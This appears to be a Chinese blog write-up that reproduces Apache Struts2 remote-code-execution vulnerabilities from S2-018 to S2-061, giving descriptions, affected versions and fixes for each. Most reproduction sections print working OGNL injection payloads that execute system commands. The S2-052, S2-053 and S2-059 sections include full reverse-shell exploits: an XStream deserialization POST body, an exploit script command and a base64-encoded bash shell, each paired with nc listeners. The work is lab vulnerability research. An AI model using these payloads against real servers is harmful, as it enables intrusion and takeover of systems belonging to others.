Struts 2.0.0 - Struts 2.3.15.2

漏洞原理

ApacheStruts2.0.0至2.3.15.1版本中存在漏洞。远程攻击者可借助特制的action:prefix利用该漏洞绕过访问控制。

漏洞条件

Struts 2.0.0 - Struts 2.3.15.2

漏洞检测

未找到对应复测环境,如有需要还请网络搜索。

漏洞修复

Struts 2.3.15.1版本之后已修复

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-018
https://www.anquanke.com/vul/id/1166056

CVE-2013-4316

S2-019

漏洞描述

当目标服务器 <constant name="struts.devMode" value="true" />开启后导致恶意命令执行。

漏洞和S2-008类似,均是当devMode开启debug模式会出现漏洞。

影响范围

Struts 2.0.0 - Struts 2.3.15.1

漏洞原理

当目标服务器 <constant name="struts.devMode" value="true" />开启后导致恶意命令执行。

漏洞和S2-008类似,均是当devMode开启debug模式会出现漏洞。

漏洞条件

Struts 2.0.0 - Struts 2.3.15.1

漏洞检测

1、环境

Win 7 + JDK + Tomcat 6.0.9 + Struts 2.1.6

2、URL访问

1
http://192.168.5.190:8080/struts2-showcase-2.1.6/showcase.action

image-20210219202408437

3、payload(多次请求访问)

1
http://192.168.5.190:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'whoami'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()

image-20210219202255843

下载主机名文件信息
漏洞修复

Struts 2.3.16.1版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-019

S2-020

漏洞描述

Commons FileUpload版本在1.3.1之下会出现DOS攻击,同时如果未添加’class’排除ParametersInterceptor中的参数(避免使用ClassLoader操作)

S2-020漏洞博包含两个CVE:CVE-2014-0050 (DoS), CVE-2014-0094 (ClassLoader manipulation)

影响范围

Struts 2.0.0 - Struts 2.3.16.1

漏洞原理

Commons FileUpload版本在1.3.1之下会出现DOS攻击,同时如果未添加’class’排除ParametersInterceptor中的参数(避免使用ClassLoader操作)

S2-020漏洞博包含两个CVE:CVE-2014-0050 (DoS), CVE-2014-0094 (ClassLoader manipulation)

漏洞条件

Struts 2.0.0 - Struts 2.3.16.1

漏洞检测

未找到对应复测环境,如有需要还请网络搜索。

漏洞修复

Struts 2.3.16.1版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-020

CVE-2016-0785

S2-029

漏洞描述

Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
如下的标签就调用了OGNL进行取值。
parameters:
Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。

影响范围

Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

漏洞原理

代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。

漏洞条件

Struts 2.0.0 - Struts 2.3.24.1 (except 2.3.20.3)

漏洞检测

1、环境

docker

2、URL访问

1
http://192.168.20.120:8080/S2-029/default.action

image-20210220110436911

3、payload测试

1
http://192.168.20.120:8080/S2-029/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

image-20210220110604705

执行如上命令成功
漏洞修复

Struts 2.3.20.3之后版本已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-029

CVE-2016-3081

S2-032

漏洞描述

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method:<name> Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会执行。

影响范围

Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞原理

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method:<name> Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会执行。

漏洞条件

Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞检测

1、环境

Win 7 + JDK + Tomcat 6.0.9 + Struts 2.3.24

Struts 2.3.24下载apps的zip包即可

2、struts.xml添加如下代码(Struts 2.3.24默认开启)

1
<constantname=“struts.enable.DynamicMethodInvocation” value=“true”/>

image-20210220171347809

3、URL访问

1
http://192.168.5.194:8080/struts2-showcase/index.action

image-20210220171323863

4、payload

1
http://192.168.5.194:8080/struts2-showcase/home.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

image-20210220171303435

漏洞修复

Struts 2.5版本之后均已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-032

CVE-2016-3087

S2-033

漏洞描述

当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行。

影响范围

Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞原理

当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行。

漏洞条件

Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞检测

1、URL访问

1
http://192.168.20.120:8080/S2-033/orders

image-20210222095539045

2、payload

1
http://192.168.20.120:8080/S2-033/orders/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

image-20210222095620558

漏洞修复

1、禁用动态方法调用(DMI),修改Struts2的配置文件struts.xml,将struts.enable.DynamicMethodInvocation设置为“false”;

2、目前官方已经推出了2.3.20.3、2.3.24.3和2.3.28.1修复这个问题,大家可以针对自己所使用的版本进行升级。

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-033

CVE-2016-4438

S2-037

漏洞描述

Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438,目前命名为S2-037。

影响范围

Struts 2.3.20 - Struts Struts 2.3.28.1

漏洞原理

Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438,目前命名为S2-037。

漏洞条件

Struts 2.3.20 - Struts Struts 2.3.28.1

漏洞检测

0、环境

docker环境实战复测

1、URL访问

1
http://192.168.10.51:8080/S2-037/orders/

image-20210222203209324

2、payload

1
http://192.168.10.51:8080/S2-037/orders/3/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls%20/

image-20210222203143384

漏洞修复

Struts 2.5版本之后已修复

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-037
https://blog.csdn.net/weixin_39998158/article/details/100539531

CVE-2017-5638

S2-045

漏洞描述

Struts2默认处理multipart上传报文的解析器为Jakarta插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)。
但是Jakarta插件在处理文件上传(multipart)的请求时会捉捕异常信息,并对异常信息进行OGNL表达式处理。当content-type错误时会抛出异常并带上Content-Type属性值,可通过构造附带OGNL表达的请求导致远程代码执行。

影响范围

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞原理

Struts2默认处理multipart上传报文的解析器为Jakarta插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)。
但是Jakarta插件在处理文件上传(multipart)的请求时会捉捕异常信息,并对异常信息进行OGNL表达式处理。当content-type错误时会抛出异常并带上Content-Type属性值,可通过构造附带OGNL表达的请求导致远程代码执行。

漏洞条件

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞检测

1、环境

P牛的docker镜像

2、访问

1
http://192.168.10.51:8080/

image-20210224093000967

3、随机文章上传

image-20210224100226971

4、payload

1
Content-Type: %{(#test="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*100)).(#ros.flush())}

image-20210224100151940

漏洞修复

1、升级到 Apache Struts 版本 2.5.13

2、不使用时删除 Struts REST 插件,或仅限于服务器普通页面 和 JSONs:

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-045

CVE-2017-5638

S2-046

漏洞描述

S2-046漏洞和S2-045漏洞相似,恶意攻击者精心构造Content-Type的值可能造成攻击;但有些限制条件。

影响范围

Struts 2.3.5 - Struts 2.3.31

Struts 2.5 - Struts 2.5.10

漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。

漏洞原理

使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致远程命令执行。

漏洞和S2-045漏洞类似。

漏洞条件

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞检测

1、URL访问

1
http://192.168.10.51:8080/S2-046/doUpload.action

image-20210224110640381

2、请求截获数据包

image-20210224110713324

3、payload

1
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b

image-20210224111847794

4、修改字符b之前为00实现截断

image-20210224112013381

image-20210224112040934

5、shell

1
python struts-scan.py -u [200~http://192.168.10.51:8080/S2-046/ -i struts2-046

image-20210224134605570

漏洞修复

更新至以下版本或更新

Struts 2.3.32 or Struts 2.5.10.1

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-046

CVE-2017-9791

S2-048

漏洞描述

漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action;并构造payload检测。

影响范围

Struts 2.3.x with Struts 1 plugin and Struts 1 action

漏洞原理

漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action

漏洞条件

Struts 2.3.x

开启Struts 1 plugin and Struts 1 action插件

漏洞检测

1、URL访问

1
http://192.168.10.51:8080/S2-048/

image-20210224140609780

2、构payload检测

1
${1+2}

image-20210224140726364

3、获取系统信息

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())).(#q)}

image-20210224140843592

漏洞修复

1、不启用struts2-struts1-plugin插件

2、更新至最新版本

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-048
https://blog.csdn.net/qq_29647709/article/details/84952381

CVE-2017-9805

S2-052

漏洞描述

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

影响范围

Struts 2.1.6 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

漏洞原理

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

漏洞条件

Struts 2.1.6 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

漏洞检测

1、URL访问

1
http://192.168.10.51:8080/S2-052/orders.xhtml

image-20210224154729669

2、exp

替换POST提交数据,同时修改Content-Type字段的value值:application/xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
POST /S2-052/orders/3 HTTP/1.1
Host: 192.168.10.51:8080
Content-Length: 3246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.51:8080
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4239.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.51:8080/S2-052/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=D6BA182C8D10856B226BBA6F7E3D5FA8; JSESSIONID=wftjcynnuu5i1ujnp3lwi370z
Connection: close

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator" />
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i &gt;&amp; /dev/tcp/192.168.10.51/4444 0&gt;&amp;1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types />
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock />
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream" />
<ibuffer />
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors />
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString" />
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" />
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" />
</entry>
</map>

3、系统监听

1
➜  struts-scan nc -lvnp 4444

image-20210224155859544

漏洞修复

Upgrade to Struts 2.5.13 or Struts 2.3.34

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-052
https://blog.csdn.net/qq_29647709/article/details/84954575

CVE-2017-12611

S2-053

漏洞描述

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

影响范围

Struts 2.1.6 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

漏洞原理

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

漏洞条件

Struts 2.1.6 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

漏洞检测

1、URL访问

1
http://192.168.10.51:8080/S2-053/

image-20210224160841010

2、payload测试

1
%{100+100}

image-20210224161012651

3、exp

1
2
3
➜  S2-053-CVE-2017-12611 git:(master) python exploit.py http://192.168.10.51:8080/S2-053/ "name" "bash -i >& /dev/tcp/192.168.10.51/4444 0>&1"

➜ ~ nc -lvnp 4444

image-20210224162036596

漏洞修复

Upgrade to Struts 2.5.13 or Struts 2.3.34

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-053

CVE-2018-11776

S2-057

漏洞描述

漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。

影响范围

Struts 2.0.4 - Struts 2.3.34

Struts 2.5.0 - Struts 2.5.16

漏洞原理

漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。

漏洞条件

Struts 2.0.4 - Struts 2.3.34

Struts 2.5.0 - Struts 2.5.16

漏洞检测

1、环境

docker

2、URL

1
http://192.168.10.51:8080/struts2-showcase/

image-20210226111744403

3、poc

1
http://192.168.10.51:8080/struts2-showcase/$%7B100*100%7D/actionChain1.action

image-20210224165507214

4、payload

1
2
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

进行URLcode编码

1
%24%7b%0a%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d

image-20210226113930629

漏洞修复

Upgrade to Struts 2.3.35 or Struts 2.5.17

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-057
https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

CVE-2019-0230

S2-059

漏洞描述

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

影响范围

Struts 2.0.0 - Struts 2.5.20

漏洞原理

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

漏洞条件

Struts 2.0.0 - Struts 2.5.20

漏洞检测

1、漏洞环境

docker

2、URL访问

1
http://192.168.10.51:8080/?id=1

image-20210226141214097

3、payload

1
http://192.168.10.51:8080/?id=%25%7B233*233%7D

image-20210226141252013

4、exp

由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

编码

1
2
3
4
5
6
7
8
9
10
11
12
13
# coding:utf-8

import requests
url = "http://192.168.10.51:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
# shell经过base64编码后放置exec中
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjUxLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

image-20210226141759347

漏洞修复

Upgrade to Struts 2.5.22 or greater

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-059
https://github.com/vulhub/vulhub/tree/master/struts2/s2-059

CVE-2020-17530

S2-061

漏洞描述

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行。

影响范围

Struts 2.0.0 - Struts 2.5.25

漏洞原理

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行。

漏洞条件

Struts 2.0.0 - Struts 2.5.25

漏洞检测

1、环境

docker

2、URL访问

1
http://192.168.10.51:8080/?id=1

image-20210226144106276

3、payload

1
http://192.168.10.51:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

image-20210226144246470

4、shell

image-20210226144510898

漏洞修复

Upgrade to Struts 2.5.26 or greater

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-061
https://github.com/wuzuowei/CVE-2020-17530

Tools

k8s

已支持多版本检测和shell反弹的作用

Struts2-Scan

Struts2-Scan

此工具主要用于扫描Struts2框架漏洞检测及支持部分shell反弹功能。

PoC

部分实现poc可参考P牛的github里将会保存对应漏洞的poc。

使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章